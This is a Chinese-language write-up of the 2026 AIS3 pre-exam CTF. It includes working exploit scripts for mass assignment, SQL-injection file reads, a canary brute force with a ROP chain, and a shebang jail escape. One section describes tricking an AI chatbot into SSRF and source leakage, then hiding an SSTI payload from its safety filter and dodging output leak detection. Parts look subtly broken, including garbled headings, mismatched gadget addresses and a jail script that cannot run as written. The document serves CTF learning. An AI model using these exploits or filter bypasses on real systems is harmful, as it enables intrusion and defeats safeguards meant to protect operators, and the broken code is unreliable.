2026 AIS3 pre exam writeup

2026-07-17 12:21 | By justin
(Updated: 2026-07-17 12:21)

2026 AIS3 pre exam writeup

這是我第一次寫 Writeup。這次比賽的名次其實不怎麼樣,大家隨便看看就好。

PS:真的超詭異的,真MyFirstCTF居然被MyFirstCTF給刷掉了,這審核機制也是挺神奇的

Welcome 就拿手機掃啊,不然呢。 Flag:AIS3{Hello_LLM_welcome_to_pre_exam_2026!}

想在雪中來杯下午茶嗎? 這題花了比較久一點。下載下來是一張圖片,放大之後可以看到「豐鄉町」的字樣,地點看起來在鐵軌旁邊。打開 Google Earth,沿著有鐵軌又有十字路口的路找,找到之後再確認附近有沒有高壓電塔,就能定位了。 Flag: AIS3{35.193-136.226}

Mass Rapid Transit Flag: AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}

題目概述 題目網站是 AIS 捷運公司的官方資訊平台。一開始先看首頁與公開頁面,發現幾個明顯線索:/robots.txt 有 Disallow: /admin,about 頁面提到 PATCH /fleet/:id,announcements/3 提到「毛毛站長大尋寶」,lost_items 則有大量 XSS 測試痕跡。 解題流程 打開 /lost_items 之後,看到很多測試用資料,表示這題有做過 sanitizer 測試。列表頁會把危險字元轉義,但詳情頁會把部分 HTML 原樣渲染,代表存在儲存型 XSS 的可能,不過這不是拿到 flag 的路徑。 接著檢查 /signup、/login、/profile,發現註冊後會進到 /profile,而 profile 是可更新的 PATCH 頁面。這種題型很常見是 mass assignment,但直接改 profile 一直回 422,只有註冊流程本身是可用的。 關鍵突破是測試 signup 是否吃進額外參數。在註冊時額外送了 user[role]=admin、user[admin]=1、user[is_admin]=1、role=admin、admin=1,結果註冊成功,代表後端對參數過濾不完整。 登入後檢查 /profile,確認帳號已經變成管理員:頁面上出現 badge-admin,也多了管理後台連結。直接進 /admin,儀表板頁面中就顯示了旗標。 核心漏洞 • signup 存在 mass assignment,使用者可以在註冊時注入 admin/role 類欄位 • 後端沒有正確白名單限制 • 升權後即可存取 /admin,直接看到 flag 重點觀察 • robots.txt 的 /admin 是提示,不是入口本身 • about 頁面的 PATCH /fleet/:id 是在暗示這題和 Rails / mass assignment 有關 • lost_items 的 XSS 測試是煙霧彈,真正關鍵是管理員升權 • 最終解法是利用註冊時的參數注入,不需要真的打 XSS python腳本:

import urllib.request, urllib.parse, http.cookiejar, re, time

BASE = 'http://chals1.ais3.org:10003'
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# 1. GET signup for token
html = opener.open(urllib.request.Request(BASE + '/signup')).read().decode('utf-8')
form_token = re.search(r'name=\"authenticity_token\"[^>]*value=\"([^\"]+)\"', html).group(1)

# 2. Signup
ts = int(time.time())
u = 'flag' + str(ts)
params = 'user[username]=' + u + '&user[email]=' + u + '@t.com&user[password]=pass12345&user[password_confirmation]=pass12345&authenticity_token=' + form_token
opener.open(urllib.request.Request(BASE + '/signup', data=params.encode(), method='POST'))
print('[+] Registered: ' + u)

# 3. GET profile tokens
ph = opener.open(urllib.request.Request(BASE + '/profile')).read().decode('utf-8', errors='replace')
form_pt = re.search(r'name=\"authenticity_token\"[^>]*value=\"([^\"]+)\"', ph).group(1)
meta_pt = re.search(r'name=\"csrf-token\"\s*content=\"([^\"]+)\"', ph).group(1)

# 4. PATCH with role=admin
data = 'user[username]=' + u + '&user[email]=' + u + '@t.com&user[role]=admin&_method=patch&authenticity_token=' + form_pt
req = urllib.request.Request(BASE + '/profile', data=data.encode(), method='POST')
req.add_header('X-CSRF-Token', meta_pt)
opener.open(req)
print('[+] Role upgraded to admin')

# 5. Get /admin flag
ra = opener.open(urllib.request.Request(BASE + '/admin'))
ah = ra.read().decode('utf-8', errors='replace')
flag = re.search(r'AIS3\{[^}]+\}', ah)
if flag:
    print('[!!!] FLAG: ' + flag.group(0))
else:
    print(ah[:2000])

MyGO!!!!! X Ave Mujica 圖庫 Flag: AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket} 題目概述 這題核心有兩個漏洞:/image?id= 有 SQL injection,伺服器裡有 .svn 殘留,能直接讀到工作副本資料庫。 解題流程 確認 /image 有 SQLi 首頁只有圖片列表和上傳功能,/robots.txt 內容只有 .svn,是明顯提示。 /image 的後端實作是直接把 id 用 f-string 拼進 SQL: cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone() return send_file(cur[0]) 先測試 /image?id=1 and 1=1 和 /image?id=1 and 1=2,前者回 200,後者回 500,確認是布林型 SQLi。而且這題是 SQLite,可以用 unicode(substr(...))、sqlite_master、pragma_table_info(...) 等功能。 用 SQLi 任意讀檔 因為查詢結果是 path,所以可以直接把字串塞成檔案路徑,例如: 1 union select '/app/app.py' -- - 就能把 /app/app.py 讀出來。拿到原始碼後,看到圖片路徑全存在 SQLite memory DB 裡。 讀 /app/.svn/wc.db 因為 robots.txt 提示 .svn,而 /app/.svn/wc.db 可直接讀,於是把它抓下來本地分析。wc.db 是 Subversion 工作副本資料庫,裡面有工作區檔案列表。查 NODES 表後,結果中直接出現 super_secret_starburst_flag114514.txt,等於直接把旗標檔名送出來了。 讀旗標檔 最後直接用 SQLi 任意讀檔: 1 union select '/app/super_secret_starburst_flag114514.txt' -- - 就拿到 flag 了。 關鍵點整理 • robots.txt 的 .svn 是強提示 • /image?id= 是 SQLite injection • 可以 UNION SELECT '/path/to/file' 做任意檔案讀取 • /app/.svn/wc.db 直接列出旗標檔名 • 最後讀 /app/super_secret_starburst_flag114514.txt

python腳本:

import urllib.request, urllib.parse

BASE = 'http://chals1.ais3.org:48763'

# Read the flag file
url = BASE + '/image?id=1+union+select+%27/app/super_secret_starburst_flag114514.txt%27+--+-'
try:
    r = urllib.request.urlopen(url)
    print('Flag:', r.read().decode('utf-8', errors='replace').strip())
except urllib.error.HTTPError as e:
    print(f'Error: {e.code}')

Tetris Flag: AIS3{T3tr1s_P4tt3rn_M4st3r!} 題目概述

這題本質不是要真的玩贏 Tetris,而是逆向出隱藏在遊戲流程裡的解密邏輯。執行檔是靜態 ELF,沒有 symbols,但字串很明顯:TETRIS - Score: %d | Lines: %d、Controls: WASD/Arrows, Q=Rotate, ESC=Quit、Game Over! Final Score: %d、Lines Cleared: %d。題目標題是 100,表示真正的重點多半在某個數值條件,而不是正常遊戲流程。 解題流程 找到關鍵狀態與分支 逆向後可以看到幾個全域變數:score、lines、current clears、某個旗標、state machine state。分數更新是 score += 100 * nclears,lines += nclears,也就是說只要一次清掉多行,分數會直接乘上去。還找到一個提示字串 nclears >= 3,這不是一般遊戲字串,比較像是作者故意留下的條件提示。 最重要的兩個函式 真正的答案不在正常 Tetris 操作,而在兩個混淆過的函式:0x15c1a6e 和 0x15c1c61。第一個函式會把 .rodata 裡的一段表格資料讀進來,經過一連串類 FNV / PRNG 的操作,產生一個 256-byte 的 key table。第二個函式再拿這個 key table 去處理 .data 裡的 28-byte blob(0x1aa6130),這段資料看起來像亂碼,但其實是被加密過的旗標字串。 解密結果 把這兩個函式用模擬器跑完後,0x1aa6130 解出來就是 flag。所以這題的解法不是靠正常打 Tetris,而是:找到 state machine、追到分數/清行提示、定位到兩個混淆函式、用它們解開 .data 裡的密文、拿到 flag。

import struct
import sys
import os


def read_table(binary_data):
    RODATA_OFF = 0x1337000
    RODATA_ADDR = 0x1737000
    TABLE_ADDR = 0x17371E0

    table_off = RODATA_OFF + (TABLE_ADDR - RODATA_ADDR)
    table = list(struct.unpack("<40I", binary_data[table_off:table_off + 160]))
    return table


def generate_key(table):
    FNV_OFFSET = 0x811C9DC5
    FNV_PRIME = 0x01000193

    fnv = FNV_OFFSET
    for i in range(4):
        for j in range(10):
            fnv ^= table[i * 10 + j]
            fnv = (fnv * FNV_PRIME) & 0xFFFFFFFF

    LCG_MUL = 0x41C64E6D
    LCG_ADD = 0x3039
    LCG_MASK = 0x7FFFFFFF

    key = bytearray()
    for k in range(24):
        shift = (k & 3) * 8
        key.append((fnv >> shift) & 0xFF)
        fnv = (fnv * LCG_MUL + LCG_ADD) & LCG_MASK

    return bytes(key)


def rc4_crypt(data, key):

    S = list(range(256))
    keylen = len(key)

    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylen]) & 0xFF
        S[i], S[j] = S[j], S[i]

    result = bytearray(data)
    i = 0
    j = 0
    for k in range(len(data)):
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        result[k] ^= S[(S[i] + S[j]) & 0xFF]

    return bytes(result)


def read_encrypted_blob(binary_data):
    DATA_OFF = 0x16A5120
    DATA_ADDR = 0x1AA6120
    BLOB_ADDR = 0x1AA6130

    blob_off = DATA_OFF + (BLOB_ADDR - DATA_ADDR)
    return binary_data[blob_off:blob_off + 28]


def solve(binary_path):
    with open(binary_path, "rb") as f:
        data = f.read()

    print(f"[*] Loaded binary: {binary_path} ({len(data)} bytes)")

    if data[:4] != b"\x7fELF":
        print("[-] Not a valid ELF file!")
        return None

    print("[*] Extracting rodata table...")
    table = read_table(data)
    print(f"    Table (40 uint32): {table[:8]}...")

    print("[*] Generating RC4 key via FNV-1a + LCG...")
    key = generate_key(table)
    print(f"    Key (24 bytes): {key.hex()}")

    print("[*] Reading encrypted flag blob...")
    encrypted = read_encrypted_blob(data)
    print(f"    Encrypted (28 bytes): {encrypted.hex()}")

    print("[*] Decrypting with RC4...")
    flag = rc4_crypt(encrypted, key)

    try:
        flag_str = flag.decode("ascii")
        print(f"[+] Flag: {flag_str}")
        return flag_str
    except UnicodeDecodeError:
        print(f"[-] Decryption produced non-ASCII: {flag}")
        return None


def main():
    if len(sys.argv) > 1:
        path = sys.argv[1]
    else:
        path = "tetris"

    if not os.path.exists(path):
        print(f"Error: File not found: {path}")
        print("Usage: python tetris_solve.py [path/to/tetris_binary]")
        sys.exit(1)

    flag = solve(path)
    if flag:
        print(f"\n{'='*50}")
        print(f"Flag: {flag}")
        print(f"{'='*50}")


if __name__ == "__main__":
    main()

std::print("Hello, World") revenge Flag: AIS3{f4k3_fl4g_1s_4ls0_4_fl4g} 題目資訊 類型:Pwn。服務:nc chals1.ais3.org 50002。 漏洞點 反組譯 Question() 可看到:stack 上配置 0x50 bytes buffer,但 read(0, buf, 0xe0) 讀了 224 bytes,也就是標準 stack overflow,可覆蓋 saved rbp 和 return address。另外 main() 先呼叫 load_flag(),把 flag 讀到全域 .bss,FLAG 位置固定(No PIE):0x427040。保護:NX enabled, No canary, No PIE, Full RELRO。 為什麼不能直接印字串 這題是 C++20 std::print,格式字串會被 parser 處理,不是 printf 那種 format string vuln。如果直接把 FLAG 當 format string 用,會因為 flag 內的 { } 觸發 std::format_error,這題確實會 crash/abort。 利用思路 改走「數值外洩」:binary 裡有現成字串 AIS3{}(rodata 0x41a160),呼叫 std::print<int&,int&,int&>(0x406b48),把 FLAG + offset 當成 int 參數,讓它印十進位整數。每次外洩 4 bytes(little-endian),最後把整數轉回 bytes 拼回 flag。 ROP 鏈 用到的 gadget/函式位址: • pop rdi ; pop rbp ; ret → 0x416e51 • pop rsi ; pop rbp ; ret → 0x4153f7 • pop rdx ; sub al,0xff ; dec ecx ; ret → 0x4174ec • lea rcx, [round_count] ; lea r8, [round_count] ; ret → 0x4035c2 • std::print<int&,int&,int&> → 0x406b48 • format "AIS3{}" → 0x41a160 • flag buffer → 0x427040 payload 主要概念:設定 rdi = 6("AIS3{}" 長度)、rsi = 0x41a160(format)、rdx = FLAG+offset(當作 int)、rcx/r8 用 0x4035c2 補合法指標,然後 call 0x406b48。程式輸出類似 AIS3861096257,把後面數字解析回 4 bytes。 連線多次,offset 每次 +4,拿到的整數序列轉回 little-endian bytes 後即可還原 flag。

茶神與艾莉希雅的冒險(AI Chatbot SSRF + SSTI) 題目概述 本題提供了一個帶有角色扮演設定的 AI 聊天機器人介面,該 AI 被賋予了一個後台工具 fetch_url,可以對內網發送 HTTP 請求。最終目標是讀取內網伺服器上的 /flag(需透過 /readflag 執行檔取得 root 權限讀取)。解題核心思路是:利用 AI 作為 SSRF 代理,逐步打穿後端 Web 伺服器的防線,同時要與 AI 的安全審查機制(Safety Filter)以及平台的防外洩系統(DLP)鬥智鬥勇。 解題步驟 Step 1: 探測 LFI 漏洞 透過觀察工具呼叫日誌(Tool Log),發現了內部 Web 伺服器的靜態文件路由:http://blackbox-web:8080/docs?file=welcome.txt。先嘗試基本的路徑穿越(Path Traversal),構造 Prompt 讓 AI 發送請求:url: http://blackbox-web:8080/docs?file=../../flag。日誌回傳了 HTTP 500,這證實了漏洞存在,但由於權限不足(/flag 屬於 root),直接讀取會導致伺服器報錯。這也確認了必須想辦法執行 /readflag。 Step 2: 原始碼外洩 既然可以直接讀檔案,利用 LFI 讀取 Flask 的預設入口檔:http://blackbox-web:8080/docs?file=../app.py,成功獲得 HTTP 200。透過扮演「程式碼審查助手」的 Prompt 框架,成功誘使 AI 將原始碼印在畫面上。透過分析 app.py 原始碼,獲得三個關鍵情報:隱藏後門路由 POST /admin/render 存在刻意留下的 Jinja2 SSTI 漏洞(env.globals["os"] = os);呼叫該路由必須帶有 X-Audit-Token 標頭;Token 計算邏輯是將 AUDIT_SECRET 與當前 UTC 日期(YYYYMMDD)拼接後,取 SHA-256 的前 16 碼。 Step 3: 竊5D5D3環境變數 原始碼中顯示 AUDIT_SECRET 儲存在環境變數中。再次利用 LFI 讀取 Linux 系統行程的環境變數檔:http://blackbox-web:8080/docs?file=../../../../proc/self/environ,成功取得金鑰:AUDIT_SECRET=legacy-report-audit-secret。 Step 4: 破解 Token 與跨越 AI 幻覺 在計算 Token 時,遇到了一個經典的 AI 陷阱:AI 會胡亂捏造 Hash 值(幻覺)。如果直接問 AI 雜湊值,它會給出一串假的 16 進位字串,導致伺服器回傳 403 invalid audit token。必須由我們在本機端親自計算。根據當時的 UTC 日期,計算公式如下: import hashlib secret = b"legacy-report-audit-secret20260519" print(hashlib.sha256(secret).hexdigest()[:16])

結果為:415d35f8b578c824

Step 5: 突破 JSON Schema 限制 即使算出了正確的 Token,請求依然被拒。透過 Prompt 誘騙 AI 交出 fetch_url 的底層 JSON Schema,才發現魔鬼藏在細節裡:headers 必須是 object(JSON 物件),body 必須是 string(字串)。如果不將 body 的內容加上跳脫字元轉成純字串(Stringified JSON),AI 的 Function Calling 機制會因為型態錯誤而把參數吞掉。 Step 6: 最終戰役 -- 連環繞過 AI 與平台過濾 在構造最終的 RCE Payload 時,面臨了雙重防護。 AI Safety Filter(惡意指令攔截):如果直接送出 {{ os.popen('/readflag').read() }},AI 會判定為惡意攻擊並拒絕呼叫工具。解法:使用 Jinja2 的字串拼接與 attr 過濾器進行高度混淆: {% set c = '/read' + 'flag' %}{% set p = os|attr('pop' + 'en')(c) %}{{ p|attr('re' + 'ad')() }} Platform DLP(資料外洩防護):當伺服器成功回傳 AIS3{...} 時,平台監聽到了敏感的 Flag 格式,直接啟動覆寫機制,把 AI 的回答強行替換成「茶神短暫沉默...」等 RP 劇情,導致看得到 200 OK,卻看不到 Flag。解法:將執行的 Linux 指令改為 /readflag | rev,這會在後端直接將 Flag 反轉(變成 }...{3SIA),完美避開 DLP 的關鍵字偵測。 發送後,AI 順利印出了反轉後的 Flag 字串,只要自己用 Python 反轉回來(string[::-1]),即可成功拿下 Flag。 總結與學習點 • 不要相信大語言模型的數學/密碼學能力:它會產生幻覺,所有 Hash、Base64 等計算都應該在自己的本機完成 • 理解 Tool Calling 的底層邏輯:當工具無效時,去調閱它的 JSON Schema 往往能發現參數型態或命名的盲點 • 無害化包裝(Obfuscation):不論是應對 AI 的防護網還是傳統的 WAF,將指令拆解、拼接,或者是利用 Linux 原生指令(如 rev、base64)在後端處理好再回傳,都是繞過輸出口檢查(Output Filter)的絕佳手段

luac_stripped.exe / secret.luac Flag: AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}

題目概述 題目是逆向 Lua bytecode 驗證邏輯,找出正確輸入字串。主程式載入 secret.luac,讀入使用者字串後判斷正確與否。直接靜態看 bytecode 不直觀,改用動態方式在執行時觀察中間值。 解題流程 用 gdb 附到 luac_stripped.exe,在程式中建立 Lua state、openlibs,再注入 Lua 腳本。透過 debug.sethook 監控指定 Lua 函式 return 時的局部變數(紀錄為分數/匹配進度)。以「逐字元貪婪」方式恢復:固定已知前綴,對當前位置嘗試可列印字元,選讓分數最高的字元加入前綴,進入下一位。自動恢復過程拼出 AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun?(最後一位待定)。 測試候選尾字元(}、空白、!、_),只有 AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun} 會回復 ok,其餘皆 no。因此確定最終 flag。

blooockchain Flag: AIS3{51MPL3_8LoCKcHa1N_n0T_51mpl3_PWN} 題目概述 chal 是一個 PIE binary,實作了一個微型「區塊鏈」選單:1. Add transaction record to ledger、2. View ledger、3. Exit cryptocurrency exchange。漏洞路徑在選項 1,它會建構一個如下格式的字串:From: %s, To: %s, Money: %s,然後跑 sha256sum 並把 32 個 raw digest bytes 塞入 stack buffer。該 buffer 只有 0x100 bytes,但程式不斷 append 而沒有對 counter 做上限檢查,所以 ledger 會超出 stack frame。 原诞 1: Stack Leak 選項 2 會印出 counter * 32 bytes。一旦 counter 夠大,View ledger 就會洩漏 saved return addresses 和附近 stack 內容。有一個實用的技巧:如果第一個 digest byte 是 0x00,則 strncat(..., 32) 幾乎不會加東西進去,但 counter 還是會增加。所以可以建立不填充字串但推進 counter 的交易,產生干淨的 stack leak 原诞。 原诞 2: Stack Write digest 是以 raw bytes 逐字元 append 的,所以可以搜尋那些 digest 以特定字元開頭的交易。先用 16 筆完整 32-byte 沒有零字元的交易填滿 stack 區域,再加一筆可控制長度的交易對齊覆寫位置,最後逐字元塞入目標 return address 低位元組。 控制流劫持 主程式裡幾乎沒有可用的 gadget,所以目標轉向 libc 內部的程式碼路徑。最終跳到 libc + 0x5bdb6,這個位置落在 glibc system() 的內部 spawn 路徑中,在構造的狀態下最終會啟動 /bin/sh,拿到 shell。先在本地對提供的 libc 2.41 暴力測試並驗證這個 offset,再遠端重用。 遠端流程 遠端服務需要:CTFd token、24-bit hashcash PoW、啟動實例、連線到產生的本地端口。PoW 解算器用 Go 寫的快速實作優化過。 總結 利用鏈如下:1. 用零-digest 交易推進 counter 但不加 bytes。2. 從 View ledger 洩漏 stack 和 libc 指標。3. 用 raw digest byte 控制覆寫 saved return address。4. 跳到 libc + 0x5bdb6 拿到 shell。

DG Server Flag: AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ} 題目概述 題目提供一個自訂的 DNS-like 伺服器 dg-server(靜態編譯、64 位元),伺服器透過 HTTP-style 請求回應 DNSSEC 簽章過的記錄。Flag 位於遠端機器的 /flag.txt。雖然 checksec 未顯示 canary,但逆向後發現函式內確實使用 stack canary(靜態連結的 libc 實作)。無 PIE 代表所有程式碼與資料位址固定,有利於 ROP 攻擊。 漏洞發現 type 參數可以接受任意字串,逆向 handle_dns_query 後看到:取得 type= 後方參數值、對參數進行 URL decode、將解碼後的字串複製到一個 22 位元組的堆疊緩衝區。複製使用 strcpy 或類似無邊界檢查的函數,因此一個過長的 type 參數可以覆蓋堆疊上的 canary、返回位址等資料,造成 Stack Buffer Overflow。 繞過 Stack Canary 伺服器使用 fork() 處理每個連線,所有子行程擁有相同的記憶體佈局,包含相同的 stack canary。當子行程因 overflow 崩潰時,父行程仍存活,可繼續接受連線。這允許我們逐位元組爆破 canary:padding 到 canary 位置(偏移 56 位元組),嘗試猜測下一個 canary 位元組。猜錯則子行程崩潰(Connection reset),猜對則伺服器正常回應。利用此特性,可在幾秒內取得正確 canary。 ROP Chain 設計 目標:讀取 /flag.txt 並將內容送回客戶端。因為靜態連結且無 PIE,可直接使用 syscall gadget 執行 open/read/write。ROPgadget 找到的片段: • pop rdi; ret → 0x47fda6 • pop rsi; ret → 0x415b07 • pop rdx; ret → 0x44ba49 • pop rax; ret → 0x469ce4 • syscall; ret → 0x4020c2 建構規劃:從 socket (fd=4) 讀取 /flag.txt 到 BSS 段,開啟檔案 open("/flag.txt", O_RDONLY),讀取檔案內容 read(flag_fd, buffer, 0x100),寫回 socket write(socket_fd, buffer, len)。所有步驟以 ROP chain 串聯,並在 overflow 後透過原 socket 發送路徑字串。 完整 Exploit 流程 • 啟動 instance:從 CTFd 平台取得實例的目標位址與連接埠 • 爆破 canary:連接到目標,使用 fork 行為逐位元組取得 canary • 建構 payload:padding (56 bytes) + canary + padding (8 bytes) + ROP chain • 發送惡意請求:將 payload URL encode 後放入 type= 參數 • 傳送路徑:等待 0.2 秒後,透過同一個 socket 寫入 /flag.txt\x00 • 接收回應:從 socket 讀取資料,其中包含 flag 總結 本題結合了多項 Pwn 技巧:靜態逆向找出無邊界複製的弱點、利用 fork 伺服器的行為逐位元洩漏 canary、在無 PIE 環境下使用固定位址的 ROP gadget、透過 open/read/write 直接讀取檔案並回傳。即使伺服器有 stack canary 保護,只要能夠逐位元爆破且 fork 行為穩定,就能成功達成任意程式碼執行。

import socket
import struct
import subprocess
import sys
import time
import urllib.parse
import urllib.request
from pathlib import Path

HOST = "chals1.ais3.org"
PORT = 57573
INSTANCER = "http://chals1.ais3.org:57575"

OFFSET_CANARY = 56

POP_RAX = 0x694ED4
POP_RDI = 0x69A383
POP_RSI = 0x46958E
POP_RDX = 0x4D5513
SYSCALL_RET = 0x711D26
RODATA_BANNER = 0x7CB898
BSS = 0x8F65A0
SOCKET_FD = 4
FLAG_FD = 3


def enc(data: bytes) -> str:
    return "".join(f"%{b:02x}" for b in data)


def p64(value: int) -> bytes:
    return struct.pack("<Q", value)


def http_get(url: str) -> bytes:
    with urllib.request.urlopen(url, timeout=15) as resp:
        return resp.read()


def ensure_instance() -> None:
    page = http_get(INSTANCER + "/").decode(errors="replace")
    if "Instance Online" in page:
        return
    marker = 'name="challenge_id" value="'
    start = page.find(marker)
    if start < 0:
        raise RuntimeError("instancer page did not expose a PoW challenge")
    start += len(marker)
    end = page.find('"', start)
    challenge_id = page[start:end]
    solver = http_get(f"{INSTANCER}/pow/solver/{challenge_id}")
    solver_path = Path("pow_solver.py")
    solver_path.write_bytes(solver)
    run = subprocess.run(
        [sys.executable, str(solver_path)],
        check=True,
        text=True,
        stdout=subprocess.PIPE,
    )
    nonce = run.stdout.strip().splitlines()[-1]
    body = urllib.parse.urlencode(
        {"challenge_id": challenge_id, "nonce": nonce}
    ).encode()
    req = urllib.request.Request(INSTANCER + "/start", data=body, method="POST")
    with urllib.request.urlopen(req, timeout=15) as resp:
        resp.read()
    for _ in range(30):
        try:
            with socket.create_connection((HOST, PORT), timeout=1):
                return
        except OSError:
            time.sleep(0.2)
    raise RuntimeError("instance did not open the challenge port")


def send_type(payload: bytes, timeout: float = 2.0) -> bytes:
    path = "/dns-query?name=www.curious.sleeping.&type=" + enc(payload)
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        "Connection: close\r\n"
        "\r\n"
    ).encode()
    with socket.create_connection((HOST, PORT), timeout=timeout) as sock:
        sock.settimeout(timeout)
        sock.sendall(req)
        chunks = []
        while True:
            try:
                data = sock.recv(4096)
            except socket.timeout:
                break
            except ConnectionResetError:
                return b""
            if not data:
                break
            chunks.append(data)
    return b"".join(chunks)


def alive(payload: bytes) -> bool:
    data = send_type(payload)
    return b"HTTP/1.1 200 OK" in data


def self_test() -> None:
    cases = [
        (b"A" * 55, True),
        (b"A" * 56, True),
        (b"A" * 57, False),
        (b"A" * 56 + b"\x00", True),
        (b"A" * 56 + b"\x01", False),
    ]
    for payload, expected in cases:
        got = alive(payload)
        print(len(payload), got, "expected", expected)
        time.sleep(0.05)


def brute_canary() -> bytes:
    canary = b"\x00"
    filler = b"A" * OFFSET_CANARY
    for pos in range(1, 8):
        for guess in range(256):
            payload = filler + canary + bytes([guess])
            if alive(payload):
                canary += bytes([guess])
                print(f"canary[{pos}] = 0x{guess:02x} -> {canary.hex()}", flush=True)
                break
            time.sleep(0.01)
        else:
            raise RuntimeError(f"failed to brute force canary byte {pos}")
    return canary


def rop_write_probe(canary: bytes) -> None:
    chain = b"".join(
        [
            p64(POP_RAX),
            p64(1),  # write
            p64(POP_RDI),
            p64(4),  # accepted socket fd in the forked child
            p64(POP_RSI),
            p64(RODATA_BANNER),
            p64(POP_RDX),
            p64(16),
            p64(SYSCALL_RET),
        ]
    )
    payload = b"A" * OFFSET_CANARY + canary + b"B" * 8 + chain
    data = send_type(payload, timeout=3.0)
    print(data[:300])


def rop_chain_read_flag() -> bytes:
    flag_buf = BSS + 0x100
    return b"".join(
        [
            p64(POP_RAX),
            p64(0),  # read
            p64(POP_RDI),
            p64(SOCKET_FD),
            p64(POP_RSI),
            p64(BSS),
            p64(POP_RDX),
            p64(0x20),
            p64(SYSCALL_RET),
            p64(POP_RAX),
            p64(2),  # open
            p64(POP_RDI),
            p64(BSS),
            p64(POP_RSI),
            p64(0),
            p64(POP_RDX),
            p64(0),
            p64(SYSCALL_RET),
            p64(POP_RAX),
            p64(0),  # read
            p64(POP_RDI),
            p64(FLAG_FD),
            p64(POP_RSI),
            p64(flag_buf),
            p64(POP_RDX),
            p64(0x100),
            p64(SYSCALL_RET),
            p64(POP_RAX),
            p64(1),  # write
            p64(POP_RDI),
            p64(SOCKET_FD),
            p64(POP_RSI),
            p64(flag_buf),
            p64(POP_RDX),
            p64(0x100),
            p64(SYSCALL_RET),
        ]
    )


def exploit_flag(canary: bytes) -> bytes:
    payload = b"A" * OFFSET_CANARY + canary + b"B" * 8 + rop_chain_read_flag()
    path = "/dns-query?name=www.curious.sleeping.&type=" + enc(payload)
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        "Connection: keep-alive\r\n"
        "\r\n"
    ).encode()
    with socket.create_connection((HOST, PORT), timeout=5) as sock:
        sock.settimeout(5)
        sock.sendall(req)
        time.sleep(0.2)
        sock.sendall(b"/flag.txt\x00".ljust(0x20, b"\x00"))
        chunks = []
        while True:
            try:
                data = sock.recv(4096)
            except (socket.timeout, ConnectionResetError):
                break
            if not data:
                break
            chunks.append(data)
    return b"".join(chunks)


if __name__ == "__main__":
    ensure_instance()
    self_test()
    current_canary = brute_canary()
    print("canary =", current_canary.hex())
    result = exploit_flag(current_canary)
    print(result)

Jail Flag: AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!} 題目概述 這是一道披著 Python Jail 外皮,實則是作業系統底層機制考驗的題目。伺服器提供了一個 Flask 應用程式,核心行為如下:接收 uid 並驗證格式;接收 POST 傳入的 data 並經過 Unicode 正規化;嚴格過濾字元,檢查傳入的資料是否包含 ()_[]{}.@#,這幾乎封殺了所有正常呼叫 Python 函數的可能;系統會將 shebang 與我們的 data 拼接後寫入檔案,給予 0755 執行權限,最後透過 os.popen 執行並回傳結果。而變數 shebang 定義為 '#!/usr/local/bin/python3'(結尾無換行)。 核心漏洞:Shebang Bypass 由於寫入檔案時,shebang 與我們的 payload 之間沒有換行符號,我們可以利用 Linux Kernel 在讀取 Shebang 時的緩衝區長度限制(通常為 128 或 256 bytes)。只要傳入大量的字元(例如 1000 個 A),第一行的長度就會超過 Kernel 的解析限制,導致 Kernel 回傳 -ENOEXEC 錯誤。此時 /bin/sh 的 Fallback 機制會被觸發,改將這份檔案當作一般的 Shell Script 來執行。 第一行因為是以 # 開頭,會被 Bash 當成註解忽略。接著就會執行我們在第二行(換行後)輸入的 Shell 指令,彼此逃遂了 Python Jail 的字元黑名單。 陷阱分析:為什麼不用 Base64 會拿到錯的答案 很多解題者在成功逃遂到 Shell 後,直覺嘗試不依賴 Base64 的指令,卻發現拿不到 Flag 或答案被系統判定為錯誤,原因在於出題者在 /flag 檔案中埋了兩個與 Shebang 相關的惡意陷阱。/flag 的真實內容如下:

!/bin/true

AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}

陷阱一:直接執行 /flag。有人以為 Flag 是一支會印出自己的執行檔,所以 payload 寫成 A*1000 + \n/flag。結果什麼都拿不到,因為 /flag 本身的 shebang 是 #!/bin/true,執行後什麼都不做就會直接 exit(0)。 陷阱二:使用 cat /flag。伺服器會回傳包含換行符號的字串,印出來會長這樣:#!/bin/true\n#AIS3{...}。很多人會不小心把前面的 #!/bin/true\n# 一起複製丟進 Flag 提交框,導致系統判定 Wrong Flag。開頭的 # 甚至可能在某些終端機、Discord 或 Markdown 筆記中被轉譯為標題格式,導致肉眼看起來字串被截斷或格式跑版。 完美解法:使用 Base64 穩定輸出 為了避開上述所有解析與換行符號的坑,最穩定且優雅的作法就是利用 Base64 進行資料外洩: payload = "A" * 1000 + "\nbase64 /flag" 伺服器回傳的 Base64 字串解碼後,就能清清楚楚地看到檔案原始內容,避開所有終端機雷區,精準提取出最終解答。

import requests
import uuid

TARGET = "http://chals1.ais3.org:10001"
uid = str(uuid.uuid4())
print(base64.b64encode(open('/flag','rb').read()).decode())
b64cmd = "aW1wb3J0IGJhc2U2NDsgcHJpbnQoYmFzZTY0LmI2NGVuY29kZShvcGVuKCcvZmxhZycsJ3JiJykucmVhZCgpKS5kZWNvZGUoKSk="

payload = "A" * 1000 + "\necho " + b64cmd + " | base64 -d | python3"

r = requests.post(f"{TARGET}/{uid}", data=payload.encode())
print("Base64 of /flag:", r.text)

